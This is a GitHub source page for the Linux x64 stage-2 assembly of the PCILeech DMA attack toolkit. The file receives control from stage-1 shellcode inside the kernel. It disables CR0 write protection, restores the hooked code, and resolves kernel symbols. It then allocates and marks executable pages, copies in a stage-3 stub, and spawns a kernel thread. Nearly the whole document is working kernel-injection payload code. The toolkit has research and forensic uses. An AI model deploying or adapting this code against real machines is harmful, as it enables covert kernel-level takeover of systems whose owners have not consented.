-
-
Notifications
You must be signed in to change notification settings - Fork 723
/
lx64_stage2.asm
310 lines (299 loc) · 7.31 KB
/
lx64_stage2.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
; lx64_stage2.asm : assembly to receive execution from stage1 shellcode.
; Compatible with Linux x64.
;
; (c) Ulf Frisk, 2016, 2017
; Author: Ulf Frisk, pcileech@frizk.net
;
.CODE
main PROC
main_pre_start:
; ----------------------------------------------------
; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS
; ----------------------------------------------------
JMP main_start
data_cmpxchg_flag db 00h
data_filler db 00h
data_phys_addr_alloc dd 00000000h ; 4 bytes offset (4 bytes long)
data_orig_code dq 0000000000000000h ; 8 bytes offset (8 bytes long)
data_offset_kallsyms_lookup_name dd 00000000h ; 16 bytes offset (4 bytes long)
; ----------------------------------------------------
; 1: SAVE ORIGINAL PARAMETERS
; ----------------------------------------------------
main_start:
POP rax
SUB rax, 5
PUSH rax
PUSH rdi
PUSH rsi
PUSH rdx
PUSH rcx
PUSH r8
PUSH r9
; ----------------------------------------------------
; 2: ENABLE SUPERVISOR WRITE
; ----------------------------------------------------
MOV rcx, cr0
PUSH rcx
AND ecx, 0fffeffffh
MOV cr0, rcx
; ----------------------------------------------------
; 3: RESTORE ORIGNAL (8 bytes)
; ----------------------------------------------------
MOV rdx, [data_orig_code]
MOV [rax], rdx
; ----------------------------------------------------
; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS
; ----------------------------------------------------
MOV al, 00h
MOV dl, 01h
LEA rcx, data_cmpxchg_flag
LOCK CMPXCHG [rcx], dl
JNE skipcall
; ----------------------------------------------------
; 5: SET UP CALL STACK AND PARAMETERS
; r12: tmp 1 (virt addr)
; r13: tmp 2 (phys addr)
; r14: addr to kallsyms_lookup_name
; r15: storage for store old stack ptr (rsp)
; ----------------------------------------------------
PUSH r12
PUSH r13
PUSH r14
PUSH r15
MOV r15, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
SUB rsp, 020h
LEA r14, main_pre_start
MOV eax, [data_offset_kallsyms_lookup_name]
ADD r14, rax
; ----------------------------------------------------
; 5: CALL C CODE
; ----------------------------------------------------
CALL setup
MOV rsp, r15
POP r15
POP r14
POP r13
POP r12
; ----------------------------------------------------
; 7: RESTORE AND JMP BACK
; ----------------------------------------------------
skipcall:
POP rax
MOV cr0, rax
POP r9
POP r8
POP rcx
POP rdx
POP rsi
POP rdi
RET
main ENDP
setup PROC
; ----------------------------------------------------
; 0: ALLOC PAGES
; ----------------------------------------------------
LEA rdi, str_alloc_pages_current
CALL r14
TEST rax, rax
JNZ alloc_pages_ok
LEA rdi, str_alloc_pages
CALL r14
TEST rax, rax
JZ error
alloc_pages_ok:
MOV rdi, 14h
MOV rsi, 2h
CALL rax
TEST rax, rax
JZ error
; ----------------------------------------------------
; 1: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES
; ----------------------------------------------------
MOV rdi, rax
CALL m_page_to_phys
MOV r13, rax
MOV rdi, r13
CALL m_phys_to_virt
MOV r12, rax
; ----------------------------------------------------
; 2: CLEAR AND COPY STAGE3 PRE BINARY TO AREA
; ----------------------------------------------------
MOV rdi, r12
CALL clear_8k
MOV rdi, 64
copy_stage3_pre_loop:
SUB rdi, 8
LEA rax, lx64_stage3_pre
MOV rax, [rax+rdi]
MOV rsi, r12
ADD rsi, 1000h
ADD rsi, rdi
MOV [rsi], rax
TEST rdi, rdi
JNZ copy_stage3_pre_loop
; ----------------------------------------------------
; 3: SET CODE PAGE TO EXECUTABLE
; ----------------------------------------------------
LEA rdi, str_set_memory_rox
CALL r14
TEST rax, rax
JNZ set_memory_exec
LEA rdi, str_set_memory_x
CALL r14
TEST rax, rax
JZ error
set_memory_exec:
MOV rdi, r12
ADD rdi, 1000h
MOV rsi, 1
CALL rax
; ----------------------------------------------------
; 4: CREATE THREAD & SET UP DATA AREA
; (try kthread_create_on_node 1st, kthread_create 2nd)
; ----------------------------------------------------
LEA rdi, str_kthread_create_on_node
CALL r14
TEST rax, rax
JZ thread_kthread_create
MOV rdi, r12
ADD rdi, 01000h
XOR rsi, rsi
XOR rdx, rdx
SUB rdx, 1
LEA rcx, str_pcileech
CALL rax
TEST rax, rax
JZ thread_kthread_create
JMP thread_start
thread_kthread_create:
LEA rdi, str_kthread_create
CALL r14
TEST rax, rax
JZ error
MOV rdi, r12
ADD rdi, 01000h
XOR rsi, rsi
LEA rdx, str_pcileech
CALL rax
TEST rax, rax
JZ error
; ----------------------------------------------------
; 5: START THREAD
; ----------------------------------------------------
thread_start:
MOV [r12+58h], rax ; KMDDATA.ReservedKMD
MOV [r12+10h], r14 ; KMDDATA.AddrKallsymsLookupName
LEA rdi, str_wake_up_process
CALL r14
TEST rax, rax
JZ error
MOV rdi, [r12+58h]
CALL rax
TEST rax, rax
JZ error
; ----------------------------------------------------
; 6: FINISH!
; supervisor write must be re-enabled before since
; some calls may have unset it.
; ----------------------------------------------------
MOV eax, r13d
JMP setup_finish
error:
MOV eax, 0FFFFFFFFh
setup_finish:
MOV rcx, cr0
AND ecx, 0fffeffffh
MOV cr0, rcx
MOV [data_phys_addr_alloc], eax
RET
setup ENDP
; ------------------------------------------------------------------
; Retrieve the PAGE_OFFSET_BASE
; r14 -> kallsyms_lookup_name
; rax <- value of PAGE_OFFSET_BASE
; ------------------------------------------------------------------
m_page_offset_base PROC
LEA rdi, str_page_offset_base
CALL r14
TEST rax, rax
JZ kaslr_pg_disable
MOV rax, [rax]
RET
kaslr_pg_disable:
MOV rax, 0ffff880000000000h
RET
m_page_offset_base ENDP
m_phys_to_virt PROC
PUSH rdi
CALL m_page_offset_base
POP rdi
ADD rax, rdi
RET
m_phys_to_virt ENDP
m_vmemmap_base PROC
LEA rdi, str_vmemmap_base
CALL r14
TEST rax, rax
JZ kaslr_memmap_disable
MOV rax, [rax]
RET
kaslr_memmap_disable:
MOV rax, 0ffffea0000000000h
RET
m_vmemmap_base ENDP
m_page_to_phys PROC
PUSH rdi
CALL m_vmemmap_base
POP rdi
SUB rdi, rax
SHR rdi, 7 ; PFN
SHL rdi, 12
MOV rax, rdi
RET
m_page_to_phys ENDP
; ----------------------------------------------------
; clear_8k
; clear 8192 bytes of memory
; rdi -> starting address
; ----------------------------------------------------
clear_8k PROC
XOR rax, rax
MOV ecx, 1024
CLD
REP STOSQ [rdi]
RET
clear_8k ENDP
; ----------------------------------------------------
; This code compiles into 53 bytes. This is copied by
; stage3 area by the setup function.
; Linux cannot use the simpler windows stage3 pre code
; since the thread will get stuck without a sleep.
; ----------------------------------------------------
lx64_stage3_pre PROC
label_main_base:
JMP label_main_loop
str_msleep db 'msleep', 0
label_main_loop:
LEA rdi, str_msleep
LEA rax, label_main_base-1000h+10h ; KMDDATA.qwAddrKallsymsLookupName
MOV rax, [rax]
CALL rax
MOV rdi, 100
CALL rax
LEA rax, label_main_base-8h
MOV rax, [rax]
CMP rax, 0
JZ label_main_loop
lx64_stage3_pre ENDP
str_kthread_create db 'kthread_create', 0
str_kthread_create_on_node db 'kthread_create_on_node', 0
str_alloc_pages_current db 'alloc_pages_current', 0
str_alloc_pages db 'alloc_pages', 0
str_set_memory_rox db 'set_memory_rox', 0
str_set_memory_x db 'set_memory_x', 0
str_wake_up_process db 'wake_up_process', 0
str_page_offset_base db 'page_offset_base', 0
str_vmemmap_base db 'vmemmap_base', 0
str_pcileech db 'pcileech', 0
END